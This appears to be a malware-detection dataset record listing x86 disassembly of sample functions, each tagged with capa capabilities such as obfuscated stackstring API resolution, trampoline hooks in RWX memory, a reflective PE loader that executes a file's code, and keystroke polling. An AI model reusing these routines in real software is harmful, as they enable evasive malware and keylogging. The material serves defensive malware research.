joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002e10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1000617c]
push esi
test eax, eax
jne 0x10002f16
mov dl, 0x6e
mov cl, 0x74
mov al, 0x6c
mov byte [ebp - 0xc], dl
mov byte [ebp - 0xb], cl
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov byte [ebp - 7], 0x2e
mov byte [ebp - 6], 0x64
mov byte [ebp - 5], al
mov byte [ebp - 4], al
mov byte [ebp - 3], 0
mov dh, dh
mov al, 0x65
mov byte [ebp - 0x28], 0x4e
mov byte [ebp - 0x27], cl
mov byte [ebp - 0x26], 0x4f
mov byte [ebp - 0x25], 0x70
mov byte [ebp - 0x24], al
mov byte [ebp - 0x23], dl
mov byte [ebp - 0x22], 0x53
mov byte [ebp - 0x21], al
mov byte [ebp - 0x20], 0x63
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x1e], 0x69
mov byte [ebp - 0x1d], 0x6f
mov byte [ebp - 0x1c], dl
mov byte [ebp - 0x1b], 0
test cl, cl
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov edi, edi
mov cl, cl
lea edx, [ebp - 0x18]
push 5
lea eax, [ebp - 0xc]
push edx
push eax
push esi
call fcn.10002ac0
add esp, 0x10
test eax, eax
je 0x10002f03
mov byte [ebp - 0x13], 0x68
test dh, dh
add esi, 5
mov dword [ebp - 0x12], esi
test cl, cl
push 0x40
push 0x3000
push 0xb
push 0
mov byte [ebp - 0xe], 0xc3
call fcn.10003770
mov dword [0x1000617c], eax
mov esi, esi
mov eax, dword [0x1000617c]
test eax, eax
je 0x10002f0c
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov edx, dword [ebp - 0x14]
mov dword [eax + 4], edx
mov cx, word [ebp - 0x10]
mov word [eax + 8], cx
mov dl, byte [ebp - 0xe]
mov byte [eax + 0xa], dl
test edi, edi
mov eax, dword [0x1000617c]
test eax, eax
jne 0x10002f16
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [ebp + 8]
test ecx, ecx
jne 0x10002f27
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret 0xc
mov esi, esi
mov edx, dword [ebp + 0x10]
push edx
mov edx, dword [ebp + 0xc]
push edx
push ecx
call eax
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10002f40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10006180]
test eax, eax
jne 0x10002fee
mov cl, 0x65
mov al, 0x72
mov dl, 0x6c
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xe], al
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], cl
mov byte [ebp - 0xb], dl
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], dl
mov byte [ebp - 5], dl
mov byte [ebp - 4], 0
test edx, edx
mov byte [ebp - 0x21], cl
mov byte [ebp - 0x1f], cl
mov dl, 0x73
mov cl, 0x74
mov byte [ebp - 0x24], 0x42
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], dl
mov byte [ebp - 0x20], 0x53
mov byte [ebp - 0x1e], cl
mov byte [ebp - 0x1d], 0x4c
mov byte [ebp - 0x1c], 0x61
mov byte [ebp - 0x1b], dl
mov byte [ebp - 0x1a], cl
mov byte [ebp - 0x19], 0x4e
mov byte [ebp - 0x18], 0x54
mov byte [ebp - 0x17], 0x45
mov byte [ebp - 0x16], al
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], al
mov byte [ebp - 0x12], 0
test ah, ah
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10006180], eax
mov edx, edx
mov edx, dword [ebp + 8]
push edx
call dword [0x10006180]
mov bl, bl
mov esp, ebp
pop ebp
ret 4

Function at 0x10003000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10006184]
test eax, eax
jne 0x100030bd
mov dl, 0x74
mov cl, 0x64
mov al, 0x6c
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], dl
mov byte [ebp - 0xa], cl
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov byte [ebp - 7], 0x2e
mov byte [ebp - 6], cl
mov byte [ebp - 5], al
mov byte [ebp - 4], al
mov byte [ebp - 3], 0
test ah, ah
mov cl, 0x75
mov byte [ebp - 0x27], dl
mov byte [ebp - 0x26], al
mov byte [ebp - 0x24], al
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x1d], cl
mov al, 0x65
mov dl, 0x63
mov cl, 0x72
mov byte [ebp - 0x28], 0x52
mov byte [ebp - 0x25], 0x46
mov byte [ebp - 0x22], 0x73
mov byte [ebp - 0x21], 0x68
mov byte [ebp - 0x20], 0x53
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x1e], dl
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x1a], 0x4d
mov byte [ebp - 0x19], al
mov byte [ebp - 0x18], 0x6d
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], 0x79
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], dl
mov byte [ebp - 0x11], 0x68
mov byte [ebp - 0x10], al
mov byte [ebp - 0xf], 0
push ebx
pop ebx
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10006184], eax
test bh, bh
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
call dword [0x10006184]
mov esp, ebp
pop ebp
ret 8
Function at 0x100030e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10006188]
test eax, eax
jne 0x10003187
mov dl, 0x6e
mov cl, 0x74
mov al, 0x6c
mov byte [ebp - 0xc], dl
mov byte [ebp - 0xb], cl
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov byte [ebp - 7], 0x2e
mov byte [ebp - 6], 0x64
mov byte [ebp - 5], al
mov byte [ebp - 4], al
mov byte [ebp - 3], 0
push eax
pop eax
mov byte [ebp - 0x22], al
mov al, 0x69
mov byte [ebp - 0x24], 0x52
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x21], 0x49
mov byte [ebp - 0x20], dl
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x1e], cl
mov byte [ebp - 0x1d], 0x55
mov byte [ebp - 0x1c], dl
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x53
mov byte [ebp - 0x15], cl
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], al
mov byte [ebp - 0x12], dl
mov byte [ebp - 0x11], 0x67
mov byte [ebp - 0x10], 0
test eax, eax
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10006188], eax
mov bl, bl
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
call dword [0x10006188]
mov edx, edx
mov esp, ebp
pop ebp
ret 8
Function at 0x100031a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x1000618c]
push ebx
push esi
push edi
test eax, eax
jne 0x1000331e
mov bl, 0x65
mov dl, 0x62
mov cl, 0x73
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], dl
mov byte [ebp - 9], 0x61
mov byte [ebp - 8], cl
mov byte [ebp - 7], bl
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
mov bl, bl
mov al, 0x74
mov byte [ebp - 0x40], 0x42
mov byte [ebp - 0x3f], 0x61
mov byte [ebp - 0x3e], cl
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x46
mov byte [ebp - 0x3b], 0x6f
mov byte [ebp - 0x3a], 0x72
mov byte [ebp - 0x39], 0x6d
mov byte [ebp - 0x38], 0x61
mov byte [ebp - 0x37], al
mov byte [ebp - 0x36], 0x4f
mov byte [ebp - 0x35], dl
mov byte [ebp - 0x34], 0x6a
mov byte [ebp - 0x33], bl
mov byte [ebp - 0x32], 0x63
mov byte [ebp - 0x31], al
mov byte [ebp - 0x30], 0x41
mov byte [ebp - 0x2f], al
mov byte [ebp - 0x2e], al
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], dl
mov byte [ebp - 0x2a], 0x75
mov byte [ebp - 0x29], al
mov byte [ebp - 0x28], bl
mov byte [ebp - 0x27], cl
mov byte [ebp - 0x26], 0
test bh, bh
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x40]
lea ecx, [ebp - 0x10]
push eax
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0x1000618c], eax
mov ecx, ecx
mov eax, dword [0x1000618c]
test eax, eax
jne 0x1000331e
mov byte [ebp - 0x24], 0x4f
mov byte [ebp - 0x23], 0x70
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x46
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], 0x4d
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x70
mov byte [ebp - 0x19], 0x70
mov byte [ebp - 0x18], 0x69
mov byte [ebp - 0x17], 0x6e
mov byte [ebp - 0x16], 0x67
mov byte [ebp - 0x15], 0x57
mov byte [ebp - 0x14], 0
test eax, 0x50a6
lea edx, [ebp - 0x24]
lea eax, [ebp - 0x10]
push edx
push eax
call esi
push eax
call edi
test cl, cl
test cl, cl
xor ecx, ecx
mov dl, 0x15
cmp byte [ecx + eax], 0xff
jne 0x100032ee
cmp byte [ecx + eax + 1], dl
je 0x100032f6
inc ecx
cmp ecx, 0x70
jl 0x100032e2
jmp 0x1000331e
add eax, ecx
mov bl, bl
xor ecx, ecx
cmp byte [ecx + eax], 0xe8
je 0x1000330a
inc ecx
cmp ecx, 0x70
jl 0x100032fc
jmp 0x1000331e
mov edx, dword [ecx + eax + 1]
mov ebp, ebp
add edx, ecx
lea ecx, [edx + eax + 5]
mov dword [0x1000618c], ecx
test al, al
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push edx
mov edx, dword [ebp + 8]
push eax
push ecx
push edx
call dword [0x1000618c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10003620
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10006190]
push esi
test eax, eax
jne 0x10003741
mov cl, 0x74
mov al, 0x6c
mov dl, 0x72
mov byte [ebp - 0x30], 0x4e
mov byte [ebp - 0x2f], cl
mov byte [ebp - 0x2e], 0x41
mov byte [ebp - 0x2d], al
mov byte [ebp - 0x2c], al
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x63
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], cl
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x56
mov byte [ebp - 0x25], 0x69
mov byte [ebp - 0x24], dl
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x22], 0x75
mov byte [ebp - 0x21], 0x61
mov byte [ebp - 0x20], al
mov byte [ebp - 0x1f], 0x4d
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x6d
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], dl
mov byte [ebp - 0x1a], 0x79
mov byte [ebp - 0x19], 0
test edi, edi
mov byte [ebp - 0xb], cl
mov cl, 0x64
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xa], cl
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov byte [ebp - 7], 0x2e
mov byte [ebp - 6], cl
mov byte [ebp - 5], al
mov byte [ebp - 4], al
mov byte [ebp - 3], 0
mov esi, esi
lea eax, [ebp - 0x30]
lea ecx, [ebp - 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test eax, eax
test dh, dh
lea edx, [ebp - 0x18]
push 5
lea eax, [ebp - 0xc]
push edx
push eax
push esi
call fcn.10002ac0
add esp, 0x10
test eax, eax
je 0x10003738
mov byte [ebp - 0x13], 0x68
test esi, esi
add esi, 5
mov dword [ebp - 0x12], esi
test bl, bl
push 0x40
push 0x3000
push 0xb
push 0
mov byte [ebp - 0xe], 0xc3
call fcn.10003790
mov dword [0x10006190], eax
push edx
pop edx
mov eax, dword [0x10006190]
test eax, eax
je 0x10003766
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov edx, dword [ebp - 0x14]
mov dword [eax + 4], edx
mov cx, word [ebp - 0x10]
mov word [eax + 8], cx
mov dl, byte [ebp - 0xe]
mov byte [eax + 0xa], dl
mov esi, esi
mov eax, dword [0x10006190]
test eax, eax
je 0x10003766
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x10003766
mov edx, dword [ebp + 0x1c]
push edx
mov edx, dword [ebp + 0x18]
push edx
mov edx, dword [ebp + 0x14]
push edx
mov edx, dword [ebp + 0x10]
push edx
mov edx, dword [ebp + 0xc]
push edx
push ecx
call eax
pop esi
mov esp, ebp
pop ebp
ret 0x18
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret 0x18
Function at 0x10003800
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10006194]
test eax, eax
jne 0x100038b4
mov cl, 0x74
mov al, 0x6c
mov dl, 0x72
mov byte [ebp - 0x24], 0x4e
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x22], 0x41
mov byte [ebp - 0x21], al
mov byte [ebp - 0x20], al
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x63
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x56
mov byte [ebp - 0x19], 0x69
mov byte [ebp - 0x18], dl
mov byte [ebp - 0x17], cl
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], al
mov byte [ebp - 0x13], 0x4d
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xf], dl
mov byte [ebp - 0xe], 0x79
mov byte [ebp - 0xd], 0
test bh, bh
mov byte [ebp - 0xb], cl
mov cl, 0x64
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xa], cl
mov byte [ebp - 9], al
mov byte [ebp - 8], al
mov byte [ebp - 7], 0x2e
mov byte [ebp - 6], cl
mov byte [ebp - 5], al
mov byte [ebp - 4], al
mov byte [ebp - 3], 0
mov eax, eax
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10006194], eax
test eax, eax
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x14]
push edx
mov edx, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0xc]
push ecx
mov ecx, dword [ebp + 8]
push edx
push eax
push ecx
call dword [0x10006194]
mov esp, ebp
pop ebp
ret 0x18

Function at 0x10003950
Capabilities:
Hash data with md5

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov dword [edx], 0x67452301
mov dword [edx + 4], 0xefcdab89
mov dword [edx + 8], 0x98badcfe
mov dword [edx + 0xc], 0x10325476
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [edx + 0x14]
mov dword [edx + 0x10], ecx
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret
Function at 0x10004430
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xe0
mov ecx, dword [esp + 0xe4]
push ebx
push ebp
push esi
mov eax, dword [ecx + 0x3c]
push edi
add eax, ecx
mov ebp, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
mov dword [esp + 0x10], eax
mov eax, dword [ecx + ebp + 0x24]
mov edi, dword [ecx + ebp + 0x1c]
mov edx, dword [ecx + ebp + 0x20]
mov ebx, dword [ecx + ebp + 0x18]
mov esi, dword [ecx + ebp + 0x10]
add eax, ecx
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xf8]
add edi, ecx
add edx, ecx
test eax, 0xffff0000
mov dword [esp + 0x20], edi
jne 0x100044a2
cmp eax, esi
jb 0x10004503
mov edx, dword [ecx + ebp + 0x14]
lea edx, [edx + esi - 1]
cmp eax, edx
ja 0x10004503
sub eax, esi
mov eax, dword [edi + eax*4]
pop edi
pop esi
pop ebp
add eax, ecx
pop ebx
add esp, 0xe0
ret
test ebx, ebx
mov dword [esp + 0x18], 0
jle 0x10004503
mov dword [esp + 0x1c], edx
mov esi, dword [edx]
mov edi, eax
add esi, ecx
mov bl, byte [esi]
mov dl, bl
cmp bl, byte [edi]
jne 0x100044dc
test dl, dl
je 0x100044d8
mov bl, byte [esi + 1]
mov dl, bl
cmp bl, byte [edi + 1]
jne 0x100044dc
add esi, 2
add edi, 2
test dl, dl
jne 0x100044b8
xor edx, edx
jmp 0x100044e1
sbb edx, edx
sbb edx, 0xffffffff
xor ebx, ebx
cmp edx, ebx
je 0x10004510
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov edi, dword [ecx + ebp + 0x18]
inc esi
add edx, 4
cmp esi, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], edx
jl 0x100044b2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xe0
ret
mov edx, dword [esp + 0x24]
mov esi, dword [esp + 0x18]
xor eax, eax
mov ax, word [edx + esi*2]
mov edx, dword [esp + 0x20]
mov esi, dword [edx + eax*4]
lea eax, [ecx + ebp]
add esi, ecx
cmp esi, eax
jb 0x100045e4
mov edx, dword [esp + 0x10]
add edx, ebp
add edx, ecx
cmp esi, edx
ja 0x100045e4
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x8d]
mov byte [esp + 0x8c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x28]
push esi
push eax
call edi
lea ecx, [esp + 0x28]
push 0x2e
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
cmp eax, ebx
jne 0x1000459f
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xe0
ret
mov byte [eax], bl
inc eax
lea edx, [esp + 0x8c]
push eax
push edx
call edi
mov al, 0x6c
lea ecx, [esp + 0x28]
mov byte [esp + 0x12], al
mov byte [esp + 0x13], al
lea eax, [esp + 0x10]
mov byte [esp + 0x10], 0x2e
push eax
push ecx
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1c], bl
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
jne 0x100045f1
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xe0
ret
lea ecx, [esp + 0x8c]
push ecx
push eax
call fcn.10004430
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xe0
ret
Function at 0x10004610
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push 0x40
mov esi, dword [ebp + 0x3c]
push 0x3000
add esi, ebp
mov eax, dword [esi + 0x50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x1000463b
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esi + 0x54]
mov edx, dword [ebp + 0x3c]
add ecx, edx
mov esi, ebp
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x3c]
add esi, ebx
push esi
push ebp
push ebx
call fcn.10004700
mov ecx, dword [esi + 0x34]
mov eax, ebx
add esp, 0xc
sub eax, ecx
je 0x10004679
push eax
push esi
push ebx
call fcn.10004760
add esp, 0xc
push esi
push ebx
call fcn.100047e0
add esp, 8
test eax, eax
je 0x100046d5
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push eax
push ecx
push esi
push ebx
call fcn.10004950
add esp, 0x10
test eax, eax
je 0x100046d5
mov edi, dword [esi + 0x28]
push esi
push ebx
call fcn.100049b0
push esi
push ebx
call fcn.100048c0
push esi
push ebx
call fcn.10004c10
add esp, 0x18
test edi, edi
je 0x100046f4
lea esi, [ebx + edi]
test esi, esi
je 0x100046d5
push 1
push 1
push ebx
call esi
test eax, eax
jne 0x100046ea
push eax
push eax
push ebx
call esi
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [esp + 0x20]
test eax, eax
je 0x100046f4
mov dword [eax], esi
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
ret

Function at 0x10004700
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 0xc]
xor ecx, ecx
push ebx
xor ebx, ebx
mov cx, word [eax + 0x14]
cmp word [eax + 6], bx
lea ecx, [ecx + eax + 0x18]
jbe 0x10004759
push ebp
push esi
push edi
lea edx, [ecx + 0x10]
mov eax, dword [edx - 4]
mov ebp, dword [esp + 0x14]
mov ecx, dword [edx]
mov esi, dword [edx + 4]
mov edi, dword [esp + 0x18]
add eax, ebp
mov ebp, ecx
add esi, edi
mov edi, eax
add edx, 0x28
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov dword [edx - 0x30], eax
xor eax, eax
mov ax, word [ecx + 6]
cmp ebx, eax
jl 0x1000471d
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x100048c0
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
xor eax, eax
push ebp
mov ax, word [ebx + 0x14]
xor ebp, ebp
cmp word [ebx + 6], bp
lea eax, [eax + ebx + 0x18]
jbe 0x1000494c
push esi
push edi
lea esi, [eax + 0x24]
mov eax, dword [esi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
and ecx, 1
and edx, 1
lea ecx, [edx + ecx*2]
mov edx, eax
shr edx, 0x1f
test eax, 0x4000000
lea ecx, [edx + ecx*2]
mov edi, dword [ecx*4 + 0x10006014]
je 0x1000490e
or edi, 0x200
mov edx, dword [esi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x10004929
test al, 0x40
je 0x10004920
mov ecx, dword [ebx + 0x20]
jmp 0x10004927
test al, 0x80
je 0x1000493c
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x1000493c
mov ecx, dword [esi - 0x1c]
lea eax, [esp + 0x18]
push eax
push edi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
inc ebp
mov dx, word [ebx + 6]
add esi, 0x28
cmp ebp, edx
jl 0x100048dd
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x10004c30
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dh, dh
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push ecx
mov byte [ebp - 4], 0x72
mov byte [ebp - 3], 0x62
mov byte [ebp - 2], 0
mov byte [ebp - 1], 0
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x10004cf8
push ebx
push 2
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push edi
call esi
push edi
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push edi
mov ebx, eax
call esi
add esp, 0x1c
push 4
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10004ce2
push edi
push ebx
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fread]
push 0
push 0
push 0
push esi
mov word [esi], 0
call fcn.10004610
add esp, 0x20
mov ebx, eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, ebx
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, ebx
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401000
Capabilities:
Log keystrokes via polling

Disassembly:
mov ecx, 0x5bfe
mov eax, ecx
mov dword [0x4b4752], eax
mov dword [0x4b4739], 0
mov eax, dword [0x4b4739]
mov dword [0x4b48ef], eax
mov dword [0x4b49c1], 0
mov eax, dword [0x4b49c1]
mov eax, ebx
xor ebx, eax
test dword [0x4b428b], eax
jne 0x401045
mov ebx, 0x19c2
sub eax, ebx
dec eax
shl eax, 1
ror eax, 1
or eax, dword [0x4b43b9]
je 0x401077
sub eax, dword [0x4b47dd]
dec eax
mov ebx, 0x11e8
add eax, ebx
dec eax
or eax, ebx
mov ebx, 0x1dd0
sub eax, ebx
add eax, dword [0x4b4a1d]
xor ebx, eax
sub eax, dword [0x4b46db]
shr eax, 1
add dword [0x4b42db], eax
jmp fcn.00402754